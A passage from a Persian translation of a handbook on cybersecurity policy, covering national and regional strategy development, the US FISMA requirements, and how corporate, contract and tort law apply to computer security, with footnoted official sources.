ندارد.[۳۲] رئیس جمهور ایالات متحده برای مطالعه روی این موضوع در سال ۱۹۹۶ هیأتی به نام *مجمع حمایت از زیرساختهای حیاتی ریاست جمهوری*[۳۳] متشکل از بعضی مقامات حقیقی و حقوقی بوجود آورد. این مجمع فاقد هرگونه قدرت قانونگذاری بود و ساختار پایدار و ثابتی نداشت، بلکه محیطی برای گزارش، مصاحبه و تحقیق فراهم کرد و گزارشی منتشر نمود که مورد توجه سیاستگذاران، مقامات حقوقی، رسانه‌های جمعی و مردم قرار گرفت. این هیأت پیشنهادات قابل توجه دیگری را در اکتبر ۱۹۹۷ ارائه داد و خواستار همکاری صمیمانه‌تر بخش خصوصی و دولت شد.

فاز دوم، ایجاد ساختارهای ثابت در بخش اجرایی برای همکاری در تهیه و اجرای سیاستها است. بعنوان مثال در کانادا بدنبال انتشار نتایج یک ارزیابی توسط *کمیتهٔ داخلی حفاظت از زیرساختهای حیاتی*[۳۴]، دولت یک مرکز همکاری جمع‌آوری و حفاظت اطلاعات، ارزیابی تهدیدها و بررسی رخدادهای امنیتی؛ و یک دفتر جهت حفاظت از زیرساختهای حیاتی و آمادگی در شرایط اضطراری برای بوجودآوردن یک فرماندهی در سطح ملی تأسیس کرد.[۳۵]

در ایالات متحده، کلینتون و بوش با تأسیس سازمانهای سیاستگذار در بخش اجرایی، چند گام عملی برداشتند. در طرحها خواسته شده بود که یک پیشنهاد ملی برای حفاظت از زیرساختها تهیه شود.[۳۶] این دستورات رئیس‌جمهور، به سازمانهای دولتی مجوز نظارت بر سیستمهای بخش خصوصی را نمی‌داد، اما در عوض بر ضرورت وجود همکاری و اشتراک اطلاعات میان دولت و بخش خصوصی تأکید داشت. سایر ساختارهای رهبری در قسمت "فرماندهی و سازمان" مورد بحث قرار می‌گیرند.

فاز سوم شامل تهیهٔ استراتژیها است. همانطور که در بالا اشاره شد، یک استراتژی ملی امنیت سایبر می‌تواند یک سند مجزا و یا قسمتی از استراتژیهای ملی ICT باشد. نکتهٔ کلیدی در این فرآیند، تبادل نظر دولت و بخش خصوصی است. در ژاپن که امنیت سایبر را در استراتژیهای کلی ICT ادغام کرده، این فرآیند با همکاری "مرکز استراتژیهای فناوری اطلاعات" در کابینه و "شورای استراتژی فناوری اطلاعات" که از بیست صاحبنظر تشکیل شده بود به انجام رسید، و اصالتاً به این منظور تأسیس شد که توانائیهای دولت و بخش خصوصی را ترکیب کند.[۳۷]

استراتژی امنیت سایبر ایالات متحده یک سند مجزا است و تهیهٔ آن محصول فرآیندی طولانی از تبادل‌نظرهای عمومی است که توسط کارکنان شورای امنیت ملی مدیریت شده است. نگارش اول اسناد این استراتژی در سال ۲۰۰۰ منتشر شد، نسخه بازبینی شدهٔ آن در پائیز سال ۲۰۰۲، و نگارش آخر آن در فوریهٔ ۲۰۰۳.[۳۸] در تمامی این مراحل طرحهای ایالات متحده بر اساس مشاوره‌های تفصیلی در دولت و میان دولت و بخش خصوصی بازبینی شد. ده نشست عمومی نیز در شهرهای مهم جهان بمنظور جمع‌آوری نیروهای مورد

---

۳۲ *برای اطلاعات بیشتر به کتاب معرفی شده در پاورقی شماره ۱۷ مراجعه کنید.*

33 *President's Critical Infrastructure Protection Board*

34 *Critical Infrastructure Protection Task Force*

35 *Office of Critical Infrastructure Protection & Emergency Prepareness [Canada] http://www.ocipep.gc.ca/critical/nciap/disc_e.asp*

۳۶ *کلینتون در این زمینه "تصمیمات راهبردی رئیس جمهور" (PDD) منتشر کرد:*

63: Critical Infrastructure Protection, May 22, 1998, http://www.fas.org/irp/offdocs/pdd-63.htm

62: Protection Against Unconventional Threats to the Homeland & Americans Overseas, May 22, 1998, http://www.fas.org/irp/offdocs/pdd-62.htm

بعد از ۱۱ سپتامبر ۲۰۰۱ نیز بوش دو دستورالعمل اجرایی امضا کرد که طبق آنها عملیات مجدداً مکانیابی می‌شد و موجودیتهای جدیدی در بخشهای اجرایی برای حفاظت از زیرساختهای حیاتی بوجود می‌آمد:

E.O. 13228, Establishing the Office of Homeland Security & the Homeland Security Council, October 8, 2001, http://fas.org/irp/offdocs/eo/eo-13228.htm

E.O. 13231, Critical Infrastructure Protection in the Information Age, October 16, 2001, http://ciao.gov/News/EOonCriticalInfrastructureProtection101601.html

37 *e-Japan Security Policy Program, March 29, 2001, http://www.kantei.go.jp/foreign/it/network/priority-all/index.html*

۳۹ *آخرین نسخه آن عبارتست از*

The National Strategy to Secure Cyberspace: http://www.dhs.gov/interweb/assetlibrary/National_Cyberspace_Strategy.pdf.

این استراتژی با کمک از سند زیر تهیه شد:

The National Strategy for Physical Protection of Critical Infrastructures & Key Assets: http://www.dhs.gov/interweb/assetlibrary/Physical-Strategy.pdf.

هردوی این اسناد اجزای استراتژی ملی امنیت را شرح می‌دهند و در جولای ۲۰۰۲ توسط کاخ سفید منتشر شدند.

استفاده برای تهیهٔ این استراتژیها برپا گشت. در این نشستها گروه‌های اجتماعی – مدنی، همکاران تجاری، و شرکتها با یکدیگر مشورت کردند. از دیگر استراتژیهای امنیت سایبر می‌توان به استراتژی استرالیا اشاره کرد.[۳۹]

در سطح منطقه‌ای نیز برای تهیهٔ این استراتژیها فعالیتهایی صورت گرفته است. اتحادیهٔ اروپا استراتژی امنیت سایبر خود را نه تنها در یک سند واحد، بلکه طی چندین سال در یک سلسله اسناد مربوط به طرحهای پیشنهادی کمیسیون اروپا منتشر ساخت.[۴۰] *سازمان همکاری اقتصادی آسیا* (APEC)[۴۱] استراتژیهای امنیت سایبر منطقه‌ای که توسط *گروه کاری اطلاعات و ارتباطات راه دور* (TEL)[۴۲] و با مشارکت فعال بخش خصوصی بازنویسی شده را بکار گرفته است.[۴۳] *سازمان ایالتهای آمریکا* (OAS)[۴۴] مسئولیت فعالیتهای منطقه‌ای را نیز بر عهده دارد.[۴۵] در ژوئن ۲۰۰۳ مجمع عمومی سازمان ایالتهای آمریکا قطعنامه‌ای برای تهیهٔ استراتژی داخلی آمریکا در مقابل تهدیدات دستیابی به اطلاعات رایانه‌ای و شبکه‌ها تدوین نمود.[۴۶] *سازمان همکاری و توسعهٔ اقتصادی* (OECD)[۴۷] نیز خط‌مشی‌هایی برای دولتها و شرکتهای خصوصی در خصوص تهیهٔ استراتژی امنیت سایبر منتشر ساخت.[۴۸]

بعد از همهٔ این تلاشها، یک مجموعهٔ موضوعی هماهنگ و یکپارچه از استراتژیهای امنیت سایبر در سطوح ملی، منطقه‌ای و بین المللی بدست آمده است:

- **مشارکت بخشهای عمومی و خصوصی**

امنیت سایبر نیازمند همکاری بخشهای عمومی و خصوصی است.[۴۹] بخش خصوصی مسئولیت اصلی اطمینان از امنیت سیستمها و شبکه‌های خود را بر عهده دارد.

- **آگاهی عمومی**

"استفاده کنندگان از شبکه از جمله تولیدکنندگان، راهبران، اپراتورها و یا کاربران شخصی باید نسبت به تهدیدات وارده و آسیب‌پذیریهای شبکه آگاه باشند و

39 *E-Security National Agenda [Australia], September 2001, http://www.noie.gov.au/projects/confidence/Protecting/nat_agenda.htm*

40 *European Commission, Proposal for a Regulation of the European Parliament & of the Council - Establishing the European Network & Information Security Agency, Feb. 11, 2003, COM (2003) 63 Final, 2003/0032 (COD), http://europa.eu.int/information_society/eeurope/action_plan/safe/documents/nisa_en.pdf*
برای اطلاعات بیشتر می‌توانید به این پاورقی در اصل کتاب مراجعه کنید. نسخهٔ الکترونیکی کتاب اصلی در آدرس زیر قابل دسترسی است:
http://www.infodev-security.net/handbook

41 *Asia Pacific Economic Cooperation*

42 *Telecommunications and Information Working Group*

۴۳ *این سند را می‌توانید در آدرس زیر پیدا کنید:*
http://www.apecsec.org.sg/content/apec/apec_groups/working_groups/telecommunications_and_information.html
در اکتبر ۲۰۰۲، وزیران APEC اهمیت حفاظت از یکپارچگی سیستمهای اطلاعاتی و ارتباطات APEC را در عین استفاده از جریان آزاد اطلاعات دریافتند. در واکنش به این مسئله، آنان از استراتژی امنیت سایبر TEL استفاده کردند و به مسئولین دستور دادند که آنرا پیاده‌سازی نمایند:
http://203.127.220.67/apec/ministerial_statements/annual_ministerial/2002_14th_apec_ministerial.html#policies

44 *Organization of American States*

۴۵ *وظیفه اولیه OAS جنایات فضای سایبر بود. برای اطلاعات بیشتر می‌توانید به پایگاه زیر مراجعه کنید:*
http://www.oas.org/juridico/english/cyber_experts.htm

46 *Development of an Inter-American Strategy to Combat Threats to Cybersecurity, AG/RES. 1939 (XXXIII-0/03)*
قطعنامه در جلسه چهارم در ۱۰ ژوئن ۲۰۰۳ به تصویب رسید.

47 *Organization for Eonomic Cooperation and Development*

48 *Organization for Economic Cooperation & Development, OECD Guidelines for the Security of Information Systems & Networks: Towards a Culture of Security, July 25, 2002, http://www.oecd.org/pdf/M00034000/M00034000.pdf*
Implementation Plans for the OECD Guidelines for the Security of Information Systems & Networks: Towards a Culture of Security, Organization for Economic Cooperation & Development, Working Party on Information Security & Privacy, DSTI/ICCP/REG(2002)6/FINAL, Jan. 21, 2003, http://www.olis.oecd.org/olis/2002doc.nsf/LinkTo/dsti-iccp-reg(2002)6-final

۴۹ *برای مشاهده جزئیات مراجعه کنید به:*
APEC, "Statement on the Security of Information & Communications Infrastructure," Fifth APEC Ministerial Meeting on Telecommunications ans Information Industry,Shanghai, China, May 29-30, 2002, http://www.apecsec.org.sg/virtualib/minismtg/telminAnnexB_SICT.html
برای اطلاعات بیشتر می‌توانید به این پاورقی در اصل کتاب مراجعه کنید. نسخه الکترونیکی کتاب در آدرس زیر قابل دسترسی است:
http://www.infodev-security.net/handbook.

مسئولیت حفاظت از شبکه را بر اساس موقعیتها و نقش خود بر عهده گیرند."[۵۰]

- **تجربیات، راهبردها و استانداردهای بین‌المللی**

امنیت سایبر باید بر اساس تعداد رو به رشد استانداردها و الگوهای سرآمدی، بصورت داوطلبانه و مبتنی بر وفاق جمعی تهیه شود و تجربیات از طریق مؤسسات مشاور و سازمانهای استاندارد بین‌المللی توسعه یابد. این استانداردها راهنمای مهمی برای سیاستهای داخلی دولت هستند. دولت نیازی ندارد و نباید استانداردهای فنی برای بخش خصوصی تعیین کند.[۵۱]

- **اشتراک اطلاعات**

کاملاً مشخص شده که تلاش برای ایجاد امنیت سایبر با بی‌توجهی کاربران نسبت به آسیب‌پذیریها و حملات مواجه شده است. سازمانهای بخش خصوصی باید تشویق شوند که اطلاعات رخدادهای امنیتی را با سایر سازمانهای این بخش، با دولت، و نیز با سایر کشورها به‌اشتراک بگذارند.

- **آموزش و پرورش**

استراتژیهای سازمان همکاری اقتصادی آسیا (APEC) می‌گوید: "توسعهٔ منابع انسانی برای به ثمر رسیدن تلاشها در جهت ارتقای سطح امنیت امری ضروری است. بمنظور تأمین امنیت فضای سایبر، دولتها و شرکتهای همکار آنها باید کارکنان خود را در مورد موضوعات پیچیدهٔ فنی و قانونی با پشتیبانی از زیرساختهای حیاتی و جرائم فضای سایبر آموزش دهند."

- **اهمیت حریم خصوصی[۵۲]**

شبکه‌های ICT داده‌های بسیار حساس شخصی را انتقال می‌دهند و ذخیره می‌سازند. حریم خصوصی جزء ضروری اعتماد در فضای سایبر است و استراتژیهای امنیت فضای سایبر باید به روشهای سازگار با ارزشهای مهم جامعه پیاده‌سازی شود.[۵۳]

- **ارزیابی آسیب‌پذیری، هشدار و عکس‌العمل**

همانطور که استراتژیهای سازمان همکاری اقتصادی آسیا ابراز داشت: "مبارزهٔ مؤثر با تخلفات فضای سایبر و حفاظت از اطلاعات زیرساختی، وابسته به اقتصادهایی است که سیستمهایی برای ارزیابی تهدیدها و آسیب‌پذیریها دارند و هشدارهای لازم را صادر می‌کنند. با شناسایی و اشتراک اطلاعات در مورد یک تهدید قبل از آنکه موجب آسیب گسترده‌ای شود، شبکه‌ها بهتر محافظت می‌شوند."[۵۴] استراتژیهای ایالات متحده از عموم صاحبنظران خواسته بود در ایجاد یک سیستم که در سطح ملی پاسخگوی امنیت سایبر باشد مشارکت کنند تا حملات وارد به شبکه‌های رایانه‌ای بسرعت شناسایی شوند.

- **همکاری بین‌المللی**

برای ساده‌تر کردن تبادل نظر و همکاری در مورد گسترش یک "فرهنگ امنیتی" میان دولت و بخش خصوصی در سطح بین‌المللی، دولتها باید با یکدیگر همکاری کنند تا برای جرائم دنیای سایبر قوانین سازگاری به تصویب برسانند و نیروهای انتظامی

50 *APEC Cybersecurity Strategy, http://www.apecsec.org.sg/content/apec/apec_groups/working_groups/telecommunications_and_information.html*
Council of European Union, Council Resolution of 28 January 2002 on a common approach & specific actions in the area of network & information security, (2002/C 43/02), http://www.europa.eu.int/information_society/eeurope/action_plan/safe/netsecres_en.pdf

۵۱ *بعنوان مثال استراتژی ایالات متحده هم در مورد سیستمهای دولتی و هم زیرساختهای بخش خصوصی است، اما چنین می‌گوید که دولت نباید استانداردهای امنیتی خود را به بخش خصوصی تحمیل کند. برای اطلاعات بیشتر به منبع زیر مراجعه کنید:*
The National Strategy to Secure Cyberspace [U.S.], February 2003, pp. 11, 15 http://www.whitehouse.gov/pcipb http://www.dhs.gov/interweb/assetlibrary/National_Cyberspace_Strategy.pdf

52 *Respect for Privacy*

53 *OECD Guidelines for the Security of Information Systems and Networks: Towards a Culture of Security, July 25, 2002, http://www.oecd.org/pdf/M00034000/M00034000.pdf*
برای اطلاعات بیشتر به آدرسهای اینترنتی پاورقی شماره ۴۸ مراجعه کنید.

54 *APEC Cybersecurity Strategy, http://www.apecsec.org.sg/content/apec/apec_groups/working_groups/telecommunications_and_information.html*

کشورهای مختلف باید از طریق سازمانهای بین‌المللی به یکدیگر کمک نمایند.[۵۵]

روند توسعه و اجرای استراتژیهای امنیت سایبر برای دولت، عناصر مشترکی با توسعه و اجرای برنامهٔ امنیت سایبر در سایر سازمانها و افراد حقوقی دارد:

- ارزیابی آسیب‌پذیریها؛
- افزایش سطح آگاهی؛
- گماردن یکنفر بعنوان فرمانده برای ایجاد هماهنگی در سیاستها؛
- توسعهٔ برنامهٔ *مدیریت مخاطره*[۵۶]؛
- تطبیق خط‌مشی‌های امنیتی مناسب؛
- توجیه ساختاری؛ و
- ارزیابی مجدد دوره‌ای و ارتقای مداوم.

فاز چهارم (با تمرکز بر سیستمهای امنیت دولتی) اعلام خط‌مشی‌های و تصویب قوانین مورد نیاز امنیت سایبر است. برخی کشورها مثل ژاپن و ایتالیا از طریق چنین خط‌مشی‌هایی به این موضوع پرداخته‌اند. در جولای سال ۲۰۰۰ کمیتهٔ ارتقای امنیت فناوری اطلاعات ژاپن در سطح کابینه راهبردهایی در مورد سیاست امنیت فناوری اطلاعات اتخاذ کرد که در آن از تمامی ادارات و وزارتخانه‌ها خواسته شده بود که تا فوریه ۲۰۰۳ یک ارزیابی در مورد سیاستهای امنیت فناوری اطلاعات انجام دهند و گامهای دیگری نیز برای ارتقای سطح امنیتی بردارند. در مارس ۲۰۰۱ *شورای وزارتی گسترش راهبری مکانیزه عمومی*[۵۷] برای تمام دست‌اندرکاران دولتی فناوری اطلاعات خط‌مشی‌های امنیتی منتشر ساخت.[۵۸] در سال ۲۰۰۲ زمانیکه کنگرهٔ ایالات متحده به این نتیجه رسید که بخش اجرایی دولت، سطح امنیتی سیستمهای رایانه‌ای دولتی را به اندازهٔ کافی ارتقا نداده است، مصوبهٔ *مدیریت امنیت اطلاعات دولت* (FISMA)[۵۹] را ابلاغ کرد تا نیازمندیها و روشهای انجام کار در دولت را روشن کند.[۶۰] در تونس نیز مشابه همین مسئله صورت پذیرفت و دولت در سال ۲۰۰۲ قوانینی در زمینهٔ امنیت تصویب و ابلاغ کرد که طبق آن سازمانهای دولتی موظف بودند بصورت سالیانه مورد *ممیزی*[۶۱] سالیانهٔ امنیتی قرار گیرند.

پیاده‌سازی استراتژی امنیت سایبر در سیستمهای دولتی- راهکار ایالات متحده

در ایالات متحده سیاست امنیتی سیستمهای اطلاعاتی دولت با جزئیات بیشتری مشخص شده و از طریق مصوبهٔ مدیریت امنیت اطلاعات (مصوب سال ۲۰۰۲) پیاده‌سازی شده است.[۶۲] این قانون برخی روشهای اجرایی سیاست امنیت سایبر را به تصویر می‌کشد که باعث می‌شوند در سازمانهای مختلف "پاسخگویی" بوجود بیاید.

هدف مشخص FISMA مدیریت امنیت رایانه‌ای در گسترهٔ دولت است، و باعث می‌شود همهٔ تلاشهای انجام شده برای ایمن‌سازی اطلاعات با یکدیگر هماهنگ شوند و نیز راهکاری برای تهیه و پشتیبانی حداقل کنترلهای لازم جهت حفاظت از سیستمهای اطلاعاتی دولت ارائه گردد. قانون تصدیق می‌کند که محصولات تجاری راه‌حلهای مؤثر و پویایی برای دولت فراهم می‌سازند و انتخاب راه‌حلهای امنیتی سخت‌افزاری و نرم‌افزاری خاص به سازمانهای تخصصی واگذار می‌گردد.

FISMA می‌گوید که رئیس هر سازمان باید یک برنامهٔ امنیت اطلاعات در حیطهٔ سازمان خود تهیه، مستندسازی و اجرا کند بگونه‌ای که کارهای سازمان از جمله آندسته که توسط پیمانکاران مدیریت می‌شود را در بر بگیرد.[۶۳] این برنامه باید شامل موارد زیر باشد:

- ارزیابی متناوب مخاطرات و میزان آسیبی که ممکن است به دلایلی چون *دسترسی غیرمجاز*[۶۴] (استفاده،

55 *Meeting of G8 Ministers of Justice & Home Affairs, Paris, May 5, 2003, http://www.g8.utoronto.ca/justice/justice030505.htm*
56 *Risk Management*
57 *Ministerial Council for Promoting the Digitization of Public Administration*
58 *http://www.kantei.go.jp/foreign/it/network/priority-all/7.html*
59 *Federal Information Security Management Act*
60 *Federal Information Security Management Act, Title III of E-Government Act of 2002, Pub. Law 107-347, http://csrc.nist.gov/policies/FISMA-final.pdf*
61 *Auditing*
۶۲ *به پاورقی قبلی مراجعه شود، و نیز: http://www.fedcirc.gov/library/legislations/FISMA.html*
63 *Title 44, United States Code, section 3544*
64 *Unauthorized Access*

بخش چهارم

افشاسازی، اختلال، تغییر، یا پاک کردن) به اطلاعات واقع شود؛

- تدوین سیاستها و روالهایی که:
  - بر اساس فرآیند ارزیابی مخاطره هستند؛
  - منجر به کاهش هزینه‌های مخاطرات امنیتی می‌شوند؛
  - اطمینان می‌دهند که امنیت اطلاعات در چرخهٔ حیات سیستم اطلاعاتی هر سازمان بصورت کامل درنظر گرفته شده است؛ و
  - اطمینان می‌دهند که الزامات و استانداردهای امنیتی *ادارهٔ مدیریت و بودجه‌ریزی*[۶۵] (OMB، بخشی از دفتر اجرایی رئیس جمهور) برآورده می‌شود؛
- تهیهٔ طرحهای فرعی برای فراهم کردن امنیت اطلاعات در سطح کافی برای شبکه‌ها، امکانات، و سیستمها یا گروههای سیستمهای اطلاعاتی؛
- برگزاری دوره‌های آموزشی برای افزایش آگاهی امنیتی کارکنان سازمان، پیمانکاران و سایر کاربران سیستمهای اطلاعاتی که در سازمان کار می‌کنند؛
- آزمودن و ارزیابی متناوب اثربخشی سیاستهای امنیت اطلاعات، روالها و تجربیات، که شامل آزمودن کنترلهای مدیریتی، عملکردی و فنی می‌باشد؛
- یک فرآیند برای طراحی، اجرا، ارزیابی و مستندسازی عملیات ناگزیری برای جبران نقائص در سیاستها، روالها، و عملکردهای امنیت اطلاعاتی سازمان؛
- روالهایی برای شناسایی، گزارش و پاسخ به وقایع امنیتی؛ و
- طرحها و روالهایی برای اطمینان از تداوم فعالیت سیستمهای اطلاعاتی سازمان.

در خصوص کفایت و اثربخشی سیاستها، فرآیندها و عملکردهای امنیت اطلاعات، و همچنین میزان تطابق آنها با عناصر مورد نیاز در برنامهٔ امنیت اطلاعات، هر سازمان باید به نمایندهٔ ادارهٔ مدیریت و بودجه‌ریزی و کمیته‌های کنگره‌ای، یک گزارش سالیانه ارائه نماید. بعلاوه میزان کفایت و تأثیرگذاری سیاستهای امنیت اطلاعات، روندها و عملکردها باید در تعدادی از طرحها و گزارشات دیگر نیز درنظر گرفته شود؛ از جمله آندسته که وابسته به بودجهٔ سالیانهٔ سازمان، مدیریت مالی، حسابرسی داخلی و کنترلهای راهبری هستند. چنانچه در سیاستها، روالها و عملکردها هرگونه اشکالی پیدا شود باید این اشکال به ادارهٔ مدیریت و بودجه‌ریزی و کنگره گزارش گردد.

سازمانها باید همه‌ساله ارزیابی امنیتی مستقلی را برای مشخص کردن تأثیر برنامهٔ امنیت اطلاعاتی و عملکردهای خود ارائه دهند. هر ارزیابی دو قسمت دارد: قسمت اول بررسی تأثیر سیاستها، فرآیندها و عملکردهای امنیت اطلاعاتی یک زیربخش سیستمهای اطلاعاتی سازمان؛ و قسمت دوم یک ارزیابی از سیاستها، روالها، استانداردها و خطمشی‌های امنیت اطلاعات مرتبط.[۶۶]

FISMA برای کسب اطمینان از پیاده‌سازی تمامی سیاستها و الگوهای سرآمدی امنیت اطلاعات، نمایندهٔ ادارهٔ مدیریت و بودجه‌ریزی را ملزم می‌کند که تهیه و پیاده‌سازی همهٔ سیاستها و عملکردهای امنیت اطلاعات را سرپرستی کند. FIMSA همچنین برای تهیه استانداردها، راهبردها و پیشنیازهای حداقلی امنیت اطلاعات،[۶۷] اختیارات لازم را به مؤسسه ملی علوم و فناوری واگذار کرده و نمایندهٔ ادارهٔ مدیریت و بودجه‌ریزی را ملزم می‌کند که برآورده شدن این نیازها را مدیریت کند و حداقل سالی یکبار برنامه‌های امنیت اطلاعات سازمان را مرور و اصلاح نماید. نمایندهٔ ادارهٔ مدیریت و بودجه‌ریزی مسئول ارائه گزارش سالیانه در مورد بازده سازمان به کنگره می‌باشد.[۶۸]

65 *Office of Management and Budget*

66 *Title 44, United States Code, section 3545*
67 *Title 40, United States Code, section 11331*
68 *Title 44, United States Code, section 3543*

فصل سوم
نقش قانون و سیاستهای دولتی بر بخش خصوصی

انتقال مسئولیتهای قانونی سنتی به حوزهٔ فضای سایبر

سازمانها برای پشتیبانی امنیتی از سیستمهای اطلاعاتی خود انگیزهٔ زیادی دارند، چراکه منافع آنها وابسته به این موضوع است. درصورتیکه یک شرکت در برابر مشکلات فضای سایبر از خود محافظت نکند، زیانهای حاصله مستقیماً منافع آنرا تهدید می‌کنند. نفوذهای امنیتی فضای سایبر می‌توانند منجر به توقف فعالیت تجاری یک شرکت و خدشه‌دار شدن اعتبار آن گردند. حمله به شبکهٔ رایانه‌ای شرکت ممکن است عملیات آنرا متوقف نماید و باعث آسیب دیدن یا از بین رفتن داده‌های مشتریان یا اسرار تجاری شود. هر شرکتی که به امنیت توجه لازم را اختصاص نداده باشد ممکن است تمامی مشتریان خود را به رقبایی واگذار نماید که به امنیت توجه کافی دارند. درصورتیکه سازندگان رایانه‌ها و نرم‌افزارها محصولات ناامن تولید کنند ممکن است مشتریان خود را بسرعت از دست بدهند.

علاوه بر فشارهایی که از طرف بازار برای برآورده کردن امنیت به تولیدکنندگان می‌آید، قوانین نیز می‌توانند در این زمینه یک عامل انگیزشی باشند. شرکتها با مجموعه‌ای از مسئولیتهای برآمده از مفاهیم سنتی چون قوانین شرکتها، قوانین قراردادها و قوانین پاسخگو بودن (برای جبران خسارات عمدی و غیرعمدی) مواجه شده‌اند. آنها همچنین قوانین جدیدتر نظیر ثبت و فروش امن اوراق بهادار در مبادلات عمومی و جلوگیری از معاملات فریبنده و ناعادلانه تجاری را پیش روی خود می‌بینند. نحوهٔ تطبیق این مسئولیتهای سنتی قانونی به حوزهٔ مسائل امنیت سایبر توجه و تلاش زیادی را معطوف خود کرده است. درحال حاضر سازمانهای قانونگذار با وضع قوانین عمومی یا صدور بخشنامه‌ها و آیین‌نامه‌های موردی، تلاش می‌کنند سیستمهای قانونمند تجارت سنتی را بر حوزهٔ امنیت رایانه‌ای نیز اعمال کنند. در کشورهایی که سیستم قضایی آنها به قاضی اجازه می‌دهد مفاهیم کلی قانون را طبق شرایط جدید تفسیر کند، قضات می‌توانند به حل مسائل و مشکلات حقوقی امنیت الکترونیکی که نیازمند تصمیم‌گیری دربارهٔ مفاهیم قانونی سنتی (همچون سهل‌انگاری یا عدم انجام وظایف محوله در قرارداد) و آسیب‌پذیریهای رایانه‌ای است کمک نمایند.

با وجود اینکه چنین ضوابطی حتی در قوانین کشورهای توسعه‌یافته نیز بندرت یافت می‌شود، بخشی از تلاشهای سیاستگذاری و قانون‌نویسی هر کشور اعم از توسعه‌یافته و درحال توسعه باید صرف مسائل امنیت الکترونیکی شود (مسائلی نظیر توجه به چگونگی استفاده از مفاهیم قانونی سنتی در مواردی چون تهدیدها و مسئولیتها در حوزهٔ امنیت رایانه‌ای).

در این بخش روشهایی را مورد بحث قرار می‌دهیم که در آنها سیاستها و قوانین عمومی آنچنان توسعه پیدا می‌کنند که بتوانند در حوزهٔ امنیت رایانه‌ای نیز بکار روند. در فصل چهارم سیاستهای دولتی که صرفاً برای ارتقای امنیت الکترونیکی در بخش خصوصی طراحی شده‌اند نیز مورد بحث قرار می‌گیرند.

قوانین مرتبط با ادارهٔ سازمان، حسابداری، و ثبت و فروش اوراق بهادار

طبق قوانین سازمان، مدیران و مسئولان ممکن است در قبال سازمان و سهامداران آن تعهد کنند که پیش‌بینی دقیقی از عملیات تجاری سازمان ارائه نمایند. این مسئله بطور فزاینده‌ای درحال جا افتادن است که این پیش‌بینی، شامل موضوعاتی چون امنیت رایانه‌ای نیز می‌شود. برخی صاحبنظران متذکر شده‌اند که اگر مدیران از برداشتن گامهای مناسب برای ارزیابی تهدیدات امنیتی خودداری کنند، درصورت متضرر شدن، در قبال سهامداران شرکت، مسئول خواهند بود.

در ایالات متحده این نوع وظایف که برخاسته از قوانین عام شرکتها هستند با تصویب قوانین کیفری تقویت شده‌اند. قانون Sarbanes-Oxley (مصوب سال ۲۰۰۲)، چند نیازمندی جدید به شرکتها تحمیل کرد و با اعلام رسوایی‌های امنیتی در مقیاس وسیع توجه همگان را

برانگیخت. کنگره تصویب کرد که امنیت الکترونیکی برای ارزیابی داده‌های مالی شرکتها ضروری است. کنگره همچنین ارزیابی شرکتها از نظر امنیت سیستمهای اطلاعاتی را نیز الزامی دانست. همچنین طبق قانون عام شرکتها، سازمانهای تجاری عمومی باید توسط حسابرسان غیروابسته تحت حسابرسی مالی قرار گیرند. درصورتیکه حسابرسان متوجه شوند آسیب‌پذیریهای الکترونیکی اسناد مالی شرکت را تهدید می‌کنند، شاخصهای امنیت الکترونیکی را نیز به حیطهٔ حسابرسی خود اضافه می‌سازند. تعدادی از سازمانهای مرتبط، استانداردها و راهبردهایی را برای استفادهٔ حسابرسان ایجاد کرده‌اند.

قانون قرارداد

طبق قانون قرارداد، سازمانها باید مسئولیت دسترسی غیرقانونی یا آسیب ناشی از نقائص امنیت الکترونیکی به داده‌های مشتریان را بر عهده گیرند. طبق این قانون، شرکتی که در متون الکترونیکی اعلام می‌دارد "از یک سیستم ایمن برخوردار است"، اینگونه فرض می‌شود که با مشتری خود وارد یک توافق دوطرفه شده که طبق آن موظف به تعامل با مشتریان در محیطی امن می‌باشد. در چنین حالتی، درصورتیکه امنیت اطلاعات مشتری با حملات الکترونیکی به خطر بیافتد مشتری می‌تواند ادعای نقض تعهدات کند. همچنین شرکتهایی که خدمات مبتنی بر وب ارائه می‌نمایند ممکن است بر حسب قرارداد، مسئولیت در دسترس بودن خدمات خود را بر عهده بگیرند. در اینحالت نیز درصورتیکه پایگاه وب در اثر حملات *تخریب سرویس*[۶۹] از فعالیت و ارائه سرویس باز بماند، شرکت در معرض ادعای نقض تعهدات توسط مشتریان قرار خواهد گرفت.

قانون جرائم غیرعمدی

از نظر حقوقی، مفهوم جرائم غیرعمدی (مسئولیت مدنی در قبال خسارتهای سهوی) در مورد انواع آسیبهای امنیت رایانه‌ای بکار می‌رود. بعنوان مثال با درنظر گرفتن قانون سنتی جرائم برای جرائم رایانه‌ای، درصورتیکه شرکت اقدامات منطقی برای حفاظت از اطلاعات مشتری در مقابل حملات الکترونیکی در پیش نگیرد، ممکن است از طرف مشتریان خود با ادعای نقض تعهدات روبرو شود. زمانیکه رایانه‌های یک شرکت برای انجام حملات الکترونیکی به یک مقصد ثالث بکار گرفته می‌شوند، درصورتیکه اقدامات مؤثر برای جلوگیری از سرقت رایانه‌ای انجام نشده باشد، ممکن است شرکت میانی مقصر شناخته شود. زمانیکه حمله‌ای توسط یکی از کارمندان شرکت صورت می‌پذیرد قربانیان ممکن است با اثبات این موضوع شرکت را متهم به نادیده گرفتن ضوابط و معیارهای لازم استخدامی یا نظارتی نمایند.

درحال حاضر حتی در ایالات متحده هم – که در بسیاری موارد، قوانین جرائم غیرعمدی موجود هستند – این نوع قوانین چندان تهیه نشده‌اند و تاکنون دادگاهها توجه به امنیت شبکه را بعنوان یک وظیفهٔ قانونی اعلام ننموده‌اند. با اینحال شاید تنها گذشت زمان بتواند تئوریهای قدیمی مسئولیت‌پذیری را در حوزهٔ امنیت رایانه‌ای کاربردی کند. در آن زمان دادگاهها می‌توانند استانداردهای امنیت رایانه‌ای را از الگوهای سرآمدی قانونگذاران و جامعهٔ تجاری دریابند، و استانداردها نیز می‌توانند توسط سازمانهای خود–قانونگذار اصلاح شوند.

69 *Denial of Service*

فصل چهارم
سیاستهای امنیت سایبر دولت

